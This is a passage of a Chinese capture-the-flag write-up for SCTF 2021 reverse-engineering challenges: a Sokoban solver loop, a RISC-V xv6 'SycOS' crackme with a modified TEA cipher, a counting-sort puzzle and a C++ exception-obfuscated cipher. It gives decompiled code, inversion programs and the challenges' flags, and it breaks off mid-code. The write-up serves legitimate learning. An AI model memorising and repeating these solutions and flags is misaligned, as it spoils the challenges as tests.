if self.map[x1][y1].wall or self.map[x1][y1].target or ((p[0], p[1]) in box_origin and (x1, y1) in s.boxes()):
349 ->
if (x - 1, y) in box_pos and (x, y) not in box_origin:
352, 355, 358相似
363 ->
if not (matrix[x - 1][y].wall or matrix[x - 1][y].target) and (x - 1, y) not in box_pos and not matrix[x - 1][y].visited:
365, 367, 369相似
'''
save_map_to_path(s, './levels.txt')
path = os.popen('python3 ./Sokoban-AI-Solver-master/sokoban.py 1 a -t 1').readlines()[-1].strip('\n ').replace('d', 's').replace('r', 'd').replace('u', 'w').replace('l', 'a').replace(' ', '')
print(path)
if 'Timeaimit' in path:
p.close()
return -1
p.sendline(path)
if i == 4: break
line = p.recvline().strip('\n')
print(line)
if 'fail' in line:
p.close()
return -1
p.interactive()
return 0
while True:
print('==============================================================================')
if run() != -1:
break
能连续跑完5轮概率比较小，可能很长时间才能跑通一次。而且可能由于输出缓冲的问题，我跑通了很多次都没拿到 flag
，本地完全没问题（被这个问题卡了很久），后来跟题目负责人沟通，他那儿跑出 flag 后发给我。
flag: SCTF{push_box_goooood_game}
### SycOS
题目给了 risc-v 的 kernel, fs.img, sctf ，表明就是 risc-v 逆向， `README.md` 贴心的说用 qemu
，然后给个链接自己搜去。嗯…… qemu ，还是算了吧，懒得配环境，这不是给了程序吗，就硬逆。手上还没有能逆 risc-v 的 ida
，只好祭出去年安装后至今用过两次的 Ghidra 了。
sctf 拖入 Ghidra ，进入 entry ，一顿分析：
ulonglong rand(void)
{
seed = seed * 1103515245 + 12345;
return (seed << 33) >> 49;
}
void gift(void)
{
ulonglong uVar1;
ulonglong uVar2;
ulonglong uVar3;
ulonglong uVar4;
printf("gift:\n");
seed = 0x1447aabb;
uVar1 = rand();
uVar2 = rand();
uVar3 = rand();
uVar4 = rand();
printf("\t1.%x %x %x %x\n",uVar1,uVar2,uVar3,uVar4);
printf("\t2.Fake Tea\n");
printf("\t3.Based on xv6 2020 labs & util branch.\n");
return;
}
void replace_mem0_index_with_mem1_15_sub_index(ulonglong index)
{
longlong i;
longlong lVar1;
byte buffer [256];
buffer._0_8_ = 0;
memset(buffer + 8,0,248);
lVar1 = (longlong)((int)index << 8);
memcpy(buffer,mem0 + lVar1,0x100);
i = (longlong)((15 - (int)index) * 0x100);
memcpy(mem0 + lVar1,mem1 + i,0x100);
memcpy(mem1 + i,buffer,0x100);
return;
}
void tea_decrypt_mem1(void)
{
longlong i;
int sum;
uint *mem1_ptr;
uint v0;
uint v1;
i = 0;
do {
mem1_ptr = (uint *)(mem1 + i);
v0 = *mem1_ptr;
v1 = mem1_ptr[1];
sum = 0;
do {
v1 = v1 - (v0 * 16 + k2 ^ (v0 >> 5) + k3 ^ v0 + sum);
v0 = v0 - (v1 + sum ^ v1 * 0x10 + k0 ^ (v1 >> 5) + k1);
sum = sum + -0x61c88647;
} while (sum != -0xe443238);
*mem1_ptr = v0;
mem1_ptr[1] = v1;
i = i + 8;
} while (i != 0x1000);
return;
}
void tea_encrypt_mem0(void)
{
longlong i;
int sum;
uint *mem0_ptr;
uint v1;
uint v0;
i = 0;
do {
mem0_ptr = (uint *)(mem0 + i);
v0 = *mem0_ptr;
v1 = mem0_ptr[1];
sum = 0;
do {
sum = sum + -0x61c88647;
v0 = (v1 * 16 + k0 ^ (v1 >> 5) + k1 ^ sum + v1) + v0;
v1 = v1 + (v0 + sum ^ v0 * 16 + k2 ^ (v0 >> 5) + k3);
} while (sum != -0x1c886470);
*mem0_ptr = v0;
mem0_ptr[1] = v1;
i = i + 8;
} while (i != 0x1000);
return;
}
void change_mem0_mem1(void)
{
ulonglong i;
i = 0;
do {
tea_encrypt_mem0();
tea_decrypt_mem1();
replace_mem0_index_with_mem1_15_sub_index(i);
FUN_0000091a(mem0,mem1);
i = SEXT48((int)i + 1);
} while (i != 16);
return;
}
void set_mem_with_input(char *input)
{
longlong j;
ulonglong value;
longlong end;
longlong input_index;
longlong start;
mem0 = (char *)malloc(0x1000);
mem1 = (char *)malloc(0x1000);
memset(mem0,0,0x1000);
memset(mem1,0,0x1000);
end = 128;
start = 0;
input_index = 0;
do {
seed = (longlong)(int)((uint)(byte)input[input_index] + (int)input_index) & 0xffffffff;
j = start;
do {
value = rand();
mem0[j] = (char)value;
j = j + 1;
} while (j != end);
input_index = input_index + 1;
start = start + 0x80;
end = end + 0x80;
} while (input_index != 32);
end = 0x80;
start = 0;
input_index = 0;
do {
seed = (longlong)(int)((uint)(byte)input[input_index + 0x20] + (int)input_index) & 0xffffffff;
j = start;
do {
value = rand();
mem1[j] = (char)value;
j = j + 1;
} while (j != end);
input_index = input_index + 1;
start = start + 0x80;
end = end + 0x80;
} while (input_index != 0x20);
return;
}
void entry(void)
{
int input_len;
ulonglong uVar1;
char input [256];
printf("Welcome SCTF2021! The new xv6 lab designed by P****OS\ncan you solve this ?\ninput:");
gift();
read_str(input,256);
input_len = strlen(input);
input[(longlong)(input_len + -1) & 0xffffffff] = '\0';
input_len = strlen(input);
if (input_len != 64) {
printf("fail!\n");
/* WARNING: Subroutine does not return */
exit(0);
}
set_mem_with_input(input);
change_mem0_mem1();
uVar1 = memcmp(mem0,&DAT_00001ec8,0x1000);
if ((uVar1 == 0) && (uVar1 = memcmp(mem1,&DAT_00000ec8,0x1000), uVar1 == 0)) {
printf("yes,you are right.!\n");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("fail! Try!");
/* WARNING: Subroutine does not return */
exit(0);
}
gift 函数输出几个伪随机数，都是固定值；还有 Fake Tea ，最初不知道是什么，等分析完后才知道说的是魔改 tea 加密。
大部分都恢复出来了，一些函数（如 exit, malloc ）跟入是 ecall 系统调用，是根据逻辑猜测得到的。只剩下一个函数， FUN_0000091a
，跟入是序号 22 的系统调用，不知道做什么。
sctf 就这些，然后要找系统调用，又得分析 kernel 。同样拖入 Ghidra ，但是不好找关键位置，这时候得祭出 strings
大法：`strings ./kernel`，找到关键点：
...
argraw
%d %s: unknown sys call %d
bcache
buffer
bget: no buffers
bwrite
brelse
freeing free block
balloc: out of blocks
bmap: out of range
iget: no inodes
invalid file system
icache
inode
ialloc: no inodes
...
有个`%d %s: unknown sys call %d`，正是系统调用的报错信息， Ghidra 里找到 0x800083f0
，查看引用，找到关键位置：
void FUN_80002b0c(void)
{
int iVar1;
longlong lVar2;
undefined8 uVar3;
longlong lVar4;
lVar2 = FUN_800019de();
lVar4 = *(longlong *)(lVar2 + 0x58);
iVar1 = (int)*(undefined8 *)(lVar4 + 0xa8);
if ((iVar1 - 1U < 0x16) && (*(code **)(&DAT_80008428 + (longlong)iVar1 * 8) != (code *)0x0)) {
uVar3 = (**(code **)(&DAT_80008428 + (longlong)iVar1 * 8))();
*(undefined8 *)(lVar4 + 0x70) = uVar3;
return;
}
printk("%d %s: unknown sys call %d\n");
*(undefined8 *)(*(longlong *)(lVar2 + 0x58) + 0x70) = 0xffffffffffffffff;
return;
}
所以系统调用表在 0x80008428 ，需要的22号调用就是 0x80008428 + 22 * 8 = 0x800084d8 ，找到函数
FUN_800060c6
undefined8 FUN_800060c6(void)
{
undefined8 uVar1;
undefined8 *puVar2;
undefined8 *puVar3;
ulonglong uVar4;
longlong lVar5;
char *mem1;
char *mem0;
undefined8 *puStack56;
FUN_80000c10(&DAT_800250a8);
uVar4 = (ulonglong)DAT_80025020;
if (((*(ushort *)(DAT_80025010 + 2) ^ DAT_80025020) & 7) != 0) {
do {
lVar5 = (longlong)*(int *)(uVar4 * 8 + DAT_80025010 + 4);
if ((&DAT_80023030)[(lVar5 + 0x200) * 0x10] != '\0') {
panic("virtio_disk_intr status");
puStack56 = &DAT_80025000;
lVar5 = get_ecall_arg_to_memory64(0,(longlong *)&mem0);
uVar1 = 0xffffffffffffffff;
if (-1 < lVar5) {
lVar5 = get_ecall_arg_to_memory64(1,(longlong *)&mem1);
uVar1 = 0xffffffffffffffff;
if (-1 < lVar5) {
lVar5 = FUN_800019de();
puVar2 = (undefined8 *)FUN_80000ff8(*(undefined8 *)(lVar5 + 0x50),mem0,0);
lVar5 = FUN_800019de();
puVar3 = (undefined8 *)FUN_80000ff8(*(undefined8 *)(lVar5 + 0x50),mem1,0);
uVar1 = *puVar2;
*puVar2 = *puVar3;
*puVar3 = uVar1;
sfence.vma(0,0);
uVar1 = 1;
}
}
return uVar1;
}
lVar5 = (lVar5 + 0x200) * 0x10;
*(undefined4 *)(*(longlong *)(&DAT_80023028 + lVar5) + 4) = 0;
FUN_80002370(*(undefined8 *)(&DAT_80023028 + lVar5));
uVar4 = (longlong)(int)(DAT_80025020 + 1) & 7;
DAT_80025020 = (ushort)uVar4;
} while (((ulonglong)*(ushort *)(DAT_80025010 + 2) & 7) != uVar4);
}
_DAT_10001064 = _DAT_10001060 & 3;
uVar1 = FUN_80000cc4(&DAT_800250a8);
return uVar1;
}
关键在于中间的两次 FUN_80000ff8 ，再跟入就什么都看不懂了，不过后面是一个交换，猜测下应该是将 mem0 和 mem1
内存交换了，尝试了下还真是。
编写逆向程序：
// clear && gcc ./main.c && ./a.out
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <assert.h>
char* mem0;
char* mem1;
unsigned int k0 = 0x11222233, k1 = 0xAABBCCDD, k2 = 0x1A2B3C4D, k3 = 0xCC1122AA;
typedef unsigned long long ulonglong;
typedef long long longlong;
typedef char byte;
typedef unsigned int uint;
void replace_mem0_index_with_mem1_15_sub_index_inv(ulonglong index) {
longlong i;
longlong lVar1;
byte buffer [256];
memset(buffer, 0, 256);
lVar1 = index << 8;
i = (15 - index) * 0x100;
memcpy(buffer,mem1 + i,0x100);
memcpy(mem1 + i,mem0 + lVar1,0x100);
memcpy(mem0 + lVar1,buffer,0x100);
return;
}
void tea_decrypt_mem1_inv(void) {
longlong i;
int sum;
uint *mem1_ptr;
uint v0;
uint v1;
i = 0;
do {
mem1_ptr = (uint *)(mem1 + i);
v0 = *mem1_ptr;
v1 = mem1_ptr[1];
sum = -0xe443238;
do {
sum = sum - -0x61c88647;
v0 += (v1 + sum) ^ ((v1 << 4) + k0) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ ((v0 >> 5) + k3) ^ (v0 + sum);
} while (sum != 0);
*mem1_ptr = v0;
mem1_ptr[1] = v1;
i = i + 8;
} while (i != 0x1000);
return;
}
void tea_encrypt_mem0_inv(void) {
longlong i;
int sum;
uint *mem0_ptr;
uint v1;
uint v0;
i = 0;
do {
mem0_ptr = (uint *)(mem0 + i);
v0 = *mem0_ptr;
v1 = mem0_ptr[1];
sum = -0x1c886470;
do {
v1 -= (v0 + sum) ^ ((v0 << 4) + k2) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ ((v1 >> 5) + k1) ^ (sum + v1);
sum = sum - -0x61c88647;
} while (sum != 0);
*mem0_ptr = v0;
mem0_ptr[1] = v1;
i = i + 8;
} while (i != 0x1000);
return;
}
ulonglong seed;
void _srand(ulonglong _seed) {
seed = _seed;
}
uint _rand() {
seed = seed * 1103515245 + 12345;
return (seed << 33) >> 49;
}
int main() {
struct stat sb;
mem0 = (char*) malloc(0x1000);
mem1 = (char*) malloc(0x1000);
if (mem0 == NULL || mem1 == NULL) {
perror("malloc");
exit(-1);
}
/*
char input[65] = "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef";
puts(input);
for (int i = 0; i < 32; i++) {
srand(input[i] + i);
for (int j = 128 * i; j < 128 * i + 128; j++) {
mem0[j] = rand();
}
}
for (int i = 0; i < 32; i++) {
srand(input[i + 32] + i);
for (int j = 128 * i; j < 128 * i + 128; j++) {
mem1[j] = rand();
}
}
for (int i = 0; i < 16; i++) {
tea_encrypt_mem0();
tea_decrypt_mem1();
replace_mem0_index_with_mem1_15_sub_index();
}
/**/
int fd = open("./sctf", O_RDONLY);
if (fd < 0) {
perror("open");
exit(-1);
}
if (fstat(fd, &sb) == -1) {
perror("fstat");
exit(-1);
}
unsigned char* mapped = (char*) mmap(0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (mapped == (unsigned char*) -1) {
perror("mmap");
exit(-1);
}
memcpy(mem0, mapped + 0x1F78, 0x1000);
memcpy(mem1, mapped + 0xF78, 0x1000);
assert(mem0[0] == 0x29 && mem0[1] == 0x3A);
if (munmap(mapped, sb.st_size) == -1) {
perror("munmap");
exit(-1);
}
for (int i = 15; i >= 0; i--) {
// FUN_0000091a_inv(mem0, mem1);
char* temp = mem0;
mem0 = mem1;
mem1 = temp;
/**/
replace_mem0_index_with_mem1_15_sub_index_inv(i);
tea_decrypt_mem1_inv();
tea_encrypt_mem0_inv();
}
/*
for (int i = 0; i < 32; i++) {
printf("0x%02x, ", mem0[i] & 0xff);
if ((i + 1) % 16 == 0) putchar('\n');
}
putchar('\n');
/*
_srand('S');
for (int i = 0; i < 32; i++) {
printf("0x%02x, ", _rand() & 0xff);
if ((i + 1) % 16 == 0) putchar('\n');
}
putchar('\n');
/**/
for (int i = 0; i < 32; i++) {
for (int j = 0; j < 128; j++) {
_srand(j + i);
for (int k = 0; k < 128; k++)
if ((_rand() & 0xff) != (mem0[k + 128 * i] & 0xff))
goto continue_search;
putchar(j);
goto scan_next;
continue_search:
;
}
printf("\nNot Found.\n");
goto finish;
scan_next:
;
}
for (int i = 0; i < 32; i++) {
for (int j = 0; j < 128; j++) {
_srand(j + i);
for (int k = 0; k < 128; k++)
if ((_rand() & 0xff) != (mem1[k + 128 * i] & 0xff))
goto continue_search1;
putchar(j);
goto scan_next1;
continue_search1:
;
}
printf("\nNot Found.\n");
goto finish;
scan_next1:
;
}
finish:
putchar('\n');
/**/
free(mem0);
free(mem1);
return 0;
}
flag: SCTF{xv6_nice_lab_6666_YOU_ARE_6666666_OrzzzzzzzzzzzzzrO_wowowo}
### godness dance
跟其它几道题目比起来，这道题就像是来搞笑的。。。
main 前半部分：
__printf_chk(1, "Input:");
do
{
v5 = v4++;
__isoc99_scanf("%c", v5);
}
while ( v4 != v14 );
v6 = input;
do
{
v7 = *v6++;
++count_src[v7 - 'a'];
}
while ( v6 != v14 );
for ( i = 0LL; i != 26; ++i )
{
if ( count_src[i] != count_dst[i] )
CountWrong();
}
输入 28 个字符 [a-z] ，统计字符个数，除了 i 和 u 是 2 个，其余都是 1 个。
main 后半部分：
sub_1400(&v12, 28u, 200);
for ( j = 1LL; j != 29; ++j )
{
if ( count_sort_result_index[j] != dword_4020[j] )
Wrong();
}
sub_1400 前部分：
v3 = _200;
v4 = _28;
if ( _200 >= 0 )
memset(input_count_sum, 0, 4LL * _200 + 4);
if ( (int)_28 <= 0 )
{
if ( v3 <= 0 )
return;
LABEL_7:
v7 = input_count_sum[0];
v8 = 1LL;
do
{
v7 += input_count_sum[v8];
input_count_sum[v8++] = v7;
}
while ( v3 >= (int)v8 );
if ( (int)_28 <= 0 )
return;
goto LABEL_10;
}
v5 = 1LL;
do
{
v6 = input_sub_1[v5];
input_buffer[v5++] = v6;
++input_count_sum[v6];
}
while ( _28 - 1 + 2LL != v5 );
if ( v3 > 0 )
goto LABEL_7;
LABEL_10:
v9 = (int)_28;
do
{
v10 = input_buffer[v9];
v11 = input_count_sum[v10];
count_sort_result_index[v11] = v9--;
input_count_sum[v10] = v11 - 1;
}
while ( (int)v9 > 0 );
学过算法的话跟着流程走一遍就知道是计数排序，计算的 count_sort_result_index
是排好序后数在原数组中的下标。而且动调一下，发现后面部分没有修改 count_sort_result_index ，很简单：
index = [2, 26, 17, 28, 24, 11, 21, 10, 16, 20, 19, 18, 3, 8, 6, 12, 9, 14, 13, 22, 4, 27, 15, 23, 1, 25, 7, 5]
index = [i - 1 for i in index]
s = 'abcdefghiijklmnopqrstuuvwxyz'
t = [0] * 28
for i in range(len(index)):
t[index[i]] = s[i]
print(''.join(t))
# waltznymphforquickjigsvexbud
### CplusExceptionEncrypt
这道题是利用 C++ 的异常处理控制执行流程，问题在于 F5 后的代码只会解析到 throw 抛异常，后面的处理看不到。
printf("---------------------Welcome_to_SCTF_2021---------------------\n");
printf("Please input your flag: \n");
scanf("%s", data);
length = strlen(data);
if ( length == 32 )
{
w = 0;
v0 = *(_DWORD *)data;
v1 = *(_DWORD *)&data[4];
v2 = *(_DWORD *)&data[8];
v3 = *(_DWORD *)&data[12];
sum1 = 0;
sum2 = 0;
rbx3 = _cxa_allocate_exception(0x20ui64);
std::allocator<char>::allocator(&v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(rbx3, "init_part", &v8);
std::allocator<char>::~allocator(&v8);
_cxa_throw(
rbx3,
(struct type_info *)&`typeinfo for'std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,
refptr__ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev);
}
printf("length error!\n");
这个时候就想怎么能将整个流程恢复出来，让 F5 能正常解析，一个很自然的想法就是修改指令，修改 throw 为 jmp ，就找 throw 对应的
catch 段，这里的很容易找，在 ida Graph View 里可以清晰看到：
（也有可能看到的不是这样的，而是 call cxa_throw 这条指令与上面的块合在一起，并且没有指向 catch 块的箭头，暂不知道具体原因，可能是
ida 的问题，关闭 ida 保存到 i64 后重新打开就没了。这种情况下可以删除 i64 或者重命名，让ida打开时重新开始解析 exe
，这样就能看到了）
catch 段的 rdx 应该是表明由哪个 catch 块处理，这里只有一个，就应该是直接跳转到 loc_402A5F 进行处理， patch 为 jmp
：
再 F5 ，这里的处理解析出来了：
printf("---------------------Welcome_to_SCTF_2021---------------------\n");
printf("Please input your flag: \n");
scanf("%s", data);
length = strlen(data);
if ( length == 32 )
{
w = 0;
inp[0] = *(_DWORD *)data;
inp[1] = *(_DWORD *)&data[4];
inp[2] = *(_DWORD *)&data[8];
inp[3] = *(_DWORD *)&data[12];
v0 = *(_DWORD *)data;
v1 = *(_DWORD *)&data[4];
v2 = *(_DWORD *)&data[8];
v3 = *(_DWORD *)&data[12];
sum1 = 0;
sum2 = 0;
*(_QWORD *)dst = 0i64;
*(_QWORD *)&dst[2] = 0i64;
*(_QWORD *)out1 = 0i64;
*(_QWORD *)&out1[8] = 0i64;
rbx3 = _cxa_allocate_exception(0x20ui64);
std::allocator<char>::allocator(&v18);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(rbx3, "init_part", &v18);
std::allocator<char>::~allocator(&v18);
v9 = _cxa_get_exception_ptr(rbx3);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&init, v9);
_cxa_begin_catch(rbx3);
qmemcpy(key, "Welcome_to_sctf!", sizeof(key));
k0_0 = *(_DWORD *)key;
k1_0 = *(_DWORD *)&key[4];
k2_0 = *(_DWORD *)&key[8];
k3_0 = *(_DWORD *)&key[12];
/*
set cmp_arr
/**/
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&init);
_cxa_end_catch();
for ( i = 0; i <= 31; ++i )
{
cnt = 0;
srand(0x53435446u);
do
{
control1 = rand();
switch ( control1 )
{
case 0x5208:
v6 = (struct_of_step3 *)_cxa_allocate_exception(1ui64);
struct_of_step3::struct_of_step3(v6);
_cxa_throw(v6, (struct type_info *)&`typeinfo for'struct_of_step3, 0i64);
case 0x6591:
v4 = (struct_of_step1 *)_cxa_allocate_exception(1ui64);
struct_of_step1::struct_of_step1(v4);
_cxa_throw(v4, (struct type_info *)&`typeinfo for'struct_of_step1, 0i64);
case 0x10A9:
v5 = (struct_of_step2 *)_cxa_allocate_exception(1ui64);
struct_of_step2::struct_of_step2(v5);
_cxa_throw(v5, (struct type_info *)&`typeinfo for'struct_of_step2, 0i64);
}
++cnt;
}
while ( cnt != 3 );
}
v7 = (last_struct *)_cxa_allocate_exception(1ui64);
text_84(v7);
_cxa_throw(v7, (struct type_info *)&`typeinfo for'last_struct, 0i64);
}
printf("length error!\n");
return 0;
}
效果不错，美中不足的就是前面还留下了一些 exception 相关的函数，都是没用的。这些并不影响分析流程，也就不管了。
继续分析，中间有 srand ，那么 rand 生成的数是完全可预测的，写个程序跑一下就得到了（动调也可以），然后又要处理三个 throw ， Graph
View 里看，很不幸，第一个 case 0x5208: 的 throw 块就没有了指向 catch 块的箭头，这就得手动找一下。
这里有一个 starts at 40273D ，也就是说 try 块是从 0x40273D 开始的，而相应的 catch 块也会有这样的标识，鼠标点下
40273D 使其高亮，然后拖动图在周围找一下高亮，定位到 catch 块：
可以看到这个 catch 块有多个标识： owned by 40273D ，说明有多个 catch 块，而继续定位另两个 case 的 throw
指令，发现指向这块的 throw 正是 case 0x6591 的 throw 块，或许第一个 case 的 throw 没有箭头指向 catch
就是因为有一个 throw 占用了这个箭头。。。
多个 catch 的分发器，由 rdx 的值决定分发给哪个 catch 块，至于 rdx 的值与 catch
块的对应关系，这个暂时还不知道，可能是程序启动时由某个函数注册的吧。要确定上面三个 throw 到这里 catch 块的 rdx 的值，通过动调就可以。
后面的大部分也还是上面的异常处理隐藏流程， patch 为 jmp 就都能恢复了，整体恢复出来如下：
printf("---------------------Welcome_to_SCTF_2021---------------------\n");
printf("Please input your flag: \n");
scanf("%s", data);
length = strlen(data);
if ( length == 32 )
{
for ( w = 0; w <= 1; ++w )
{
if ( !w )
{
inp[0] = *(_DWORD *)data;
inp[1] = *(_DWORD *)&data[4];
inp[2] = *(_DWORD *)&data[8];
inp[3] = *(_DWORD *)&data[12];
}
if ( w == 1 )
{
inp[0] = *(_DWORD *)&data[16];
inp[1] = *(_DWORD *)&data[20];
inp[2] = *(_DWORD *)&data[24];
inp[3] = *(_DWORD *)&data[28];
}
v0 = inp[0];
v1 = inp[1];
v2 = inp[2];
v3 = inp[3];
sum1 = 0;
sum2 = 0;
*(_QWORD *)dst = 0i64;
*(_QWORD *)&dst[2] = 0i64;
*(_QWORD *)out1 = 0i64;
*(_QWORD *)&out1[8] = 0i64;
rbx9 = _cxa_allocate_exception(0x20ui64);
std::allocator<char>::allocator(&v62);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
rbx9,
"init_part",
&v62);
std::allocator<char>::~allocator(&v62);
v13 = _cxa_get_exception_ptr(rbx9);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&init, v13);
_cxa_begin_catch(rbx9);
qmemcpy(key, "Welcome_to_sctf!", sizeof(key));
k0_0 = *(_DWORD *)key;
k1_0 = *(_DWORD *)&key[4];
k2_0 = *(_DWORD *)&key[8];
k3_0 = *(_DWORD *)&key[12];
/*
set cmp_arr
/**/
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&init);
_cxa_end_catch();
for ( i = 0; i <= 31; ++i )
{
cnt = 0;
srand(0x53435446u);
do
{
control1 = rand(); // 0x6591
// 0x10A9
// 0x5208
// 0x4be2
switch ( control1 )
{
case 0x5208: // 2
v6 = (struct_of_step3 *)_cxa_allocate_exception(1ui64);
struct_of_step3::struct_of_step3(v6);
_cxa_begin_catch(v32);
v33 = add(sum1, i);
v34 = shr_5(v0);
v35 = add(v34, k1_0);
v36 = add(v0, sum1);
v37 = shl_4(v0);
v38 = add(v37, k0_0);
v39 = xor(v38, v36);
v40 = xor(v39, v35);
v1 += xor(v40, v33);
v41 = add(sum2, i);
v42 = shr_5(v2);
v43 = add(v42, k1_0);
v44 = add(v2, sum1);
v45 = shl_4(v2);
v46 = add(v45, k0_0);
v47 = xor(v46, v44);
v48 = xor(v47, v43);
v3 += xor(v48, v41);
_cxa_end_catch();
break;
case 0x6591: // 0
v4 = (struct_of_step1 *)_cxa_allocate_exception(1ui64);
struct_of_step1::struct_of_step1(v4);
_cxa_begin_catch(v14);
sum1 = add(sum1, delta);
sum2 = add(sum2, delta);
_cxa_end_catch();
break;
case 0x10A9: // 1
v5 = (struct_of_step2 *)_cxa_allocate_exception(1ui64);
struct_of_step2::struct_of_step2(v5);
_cxa_begin_catch(v15);
v16 = add(sum1, i);
v17 = shr_5(v1);
v18 = add(v17, k3_0);
v19 = add(v1, sum1);
v20 = shl_4(v1);
v21 = add(v20, k2_0);
v22 = xor(v21, v19);
v23 = xor(v22, v18);
v0 += xor(v23, v16);
v24 = add(sum2, i);
v25 = shr_5(v3);
v26 = add(v25, k3_0);
v27 = add(v3, sum2);
v28 = shl_4(v3);
v29 = add(v28, k2_0);
v30 = xor(v29, v27);
v31 = xor(v30, v26);
v2 += xor(v31, v24);
_cxa_end_catch();
break;
}
++cnt;
}
while ( cnt != 3 );
}
v7 = (last_struct *)_cxa_allocate_exception(1ui64);
text_84(v7);
_cxa_begin_catch(v49);
dst[0] = v0 ^ HIBYTE(delta);
dst[1] = v1 ^ BYTE2(delta);
dst[2] = v2 ^ BYTE1(delta);
dst[3] = v3 ^ (unsigned __int8)delta;
_cxa_end_catch();
m = 0;
for ( j = 0; j <= 3; ++j )
{
for ( k = 0; k <= 3; ++k )
out1[m++] = *((_BYTE *)&dst[j] + k);
}
x = 0;
srand(0x53435446u);
while ( x != 2 )
{
v8 = rand(); // 0x6591
// 0x10A9
// 0x5208
// 0x4be2
if ( v8 == 0x10A9 ) // 1
{
v11 = (enc_next_struct *)_cxa_allocate_exception(0x18ui64);
temp_4 = *enc_next_struct::enc_next_struct(v11, (uint8_t *)&init, out1, ciphertext);
_cxa_begin_catch(v11);
enc_next(temp_4.ourroundkeys, temp_4.ourplaintext, temp_4.ourciphertext);
_cxa_end_catch();
}
else if ( v8 == 0x6591 ) // 0
{
v9 = (enc_next_ready_struct *)_cxa_allocate_exception(0x10ui64);
v10 = enc_next_ready_struct::enc_next_ready_struct(v9, key, (uint8_t *)&init);
v50 = v10->ourroundkeys;
temp_3.ourciphertext = v10->ourciphertext;
temp_3.ourroundkeys = v50;
_cxa_begin_catch(v9);
enc_next_ready(temp_3.ourciphertext, temp_3.ourroundkeys);
_cxa_end_catch();
}
++x;
}
if ( !w )
{
for ( i_0 = 0; i_0 <= 15; ++i_0 )
encdata[i_0] = ciphertext[i_0];
}
if ( w == 1 )
{
for ( i_1 = 0; i_1 <= 15; ++i_1 )
encdata[i_1 + 16] = ciphertext[i_1];
}
}
for ( j_0 = 0; j_0 <= 31; ++j_0 )
{
if ( encdata[j_0] != cmp_arr[j_0] )
{
printf("Sorry!Your flag is wrong!!!!\n");
exit(0);
}
}
printf("\ncongratulations!!!!your flag is \nSCTF{%s}", data);
}
else
{
printf("length error!\n");
}
return 0;
enc_next_ready 与 enc_next 如下：
void __cdecl enc_next(uint8_t *roundkeys, uint8_t *plaintext, uint8_t *ciphertext)
{
void *v3; // rbx
_DWORD *v4; // rax
uint8_t *v5; // rax
uint8_t *v6; // rax
void *v7; // rax
uint8_t *v8; // rax
std::__cxx11::string temp_2; // [rsp+20h] [rbp-60h] BYREF
uint8_t tmp[16]; // [rsp+40h] [rbp-40h] BYREF
char v11; // [rsp+5Eh] [rbp-22h] BYREF
uint8_t t; // [rsp+5Fh] [rbp-21h]
double temp_1; // [rsp+60h] [rbp-20h]
int temp_0; // [rsp+6Ch] [rbp-14h]
char temp; // [rsp+73h] [rbp-Dh]
int a; // [rsp+74h] [rbp-Ch]
int cnt; // [rsp+78h] [rbp-8h]
uint8_t j; // [rsp+7Eh] [rbp-2h]
uint8_t i; // [rsp+7Fh] [rbp-1h]
v4 = _cxa_allocate_exception(4ui64);
*v4 = 1;
a = *(_DWORD *)_cxa_begin_catch(v4);
for ( i = 0; i <= 15u; ++i )
{
v6 = roundkeys++;
ciphertext[i] = *v6 ^ plaintext[i] ^ 0x66;
}
_cxa_end_catch();
j = 1;
LABEL_2:
if ( j <= 9u )
{
for ( cnt = 0; ; ++cnt )
{
if ( cnt == 4 )
{
++j;
goto LABEL_2;
}
if ( cnt == 1 )
{
*(_DWORD *)_cxa_allocate_exception(4ui64) = 666;
temp_0 = *(_DWORD *)_cxa_begin_catch(v3);
inv_shift_rows(tmp);
_cxa_end_catch();
continue;
}
if ( cnt > 1 )
{
if ( cnt == 2 )
{
*(_QWORD *)_cxa_allocate_exception(8ui64) = 0x4050AA3D70A3D70Ai64;
temp_1 = *(double *)_cxa_begin_catch(v3);
for ( i = 0; i <= 0xFu; i += 4 )
{
t = tmp[i + 2] ^ tmp[i + 1] ^ tmp[i] ^ tmp[i + 3];
ciphertext[i] = t ^ tmp[i] ^ mul2(tmp[i] ^ tmp[i + 1]);
ciphertext[i + 1] = t ^ tmp[i + 1] ^ mul2(tmp[i + 1] ^ tmp[i + 2]);
ciphertext[i + 2] = t ^ tmp[i + 2] ^ mul2(tmp[i + 2] ^ tmp[i + 3]);
ciphertext[i + 3] = t ^ tmp[i + 3] ^ mul2(tmp[i + 3] ^ tmp[i]);
}
goto LABEL_29;
}
if ( cnt == 3 )
{
v3 = _cxa_allocate_exception(0x20ui64);
std::allocator<char>::allocator(&v11);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
v3,
"66666\n",
&v11);
std::allocator<char>::~allocator(&v11);
v7 = _cxa_get_exception_ptr(v3);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&temp_2, v7);
_cxa_begin_catch(v3);
for ( i = 0; i <= 15u; ++i )
{
v8 = roundkeys++;
ciphertext[i] ^= *v8;
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&temp_2);
_cxa_end_catch();
}
}
else if ( !cnt )
{
*(_BYTE *)_cxa_allocate_exception(1ui64) = '6';
temp = *(_BYTE *)_cxa_begin_catch(v3);
for ( i = 0; i <= 15u; ++i )
tmp[i] = INV_S[ciphertext[i]];
LABEL_29:
_cxa_end_catch();
continue;
}
}
}
for ( i = 0; i <= 15u; ++i )
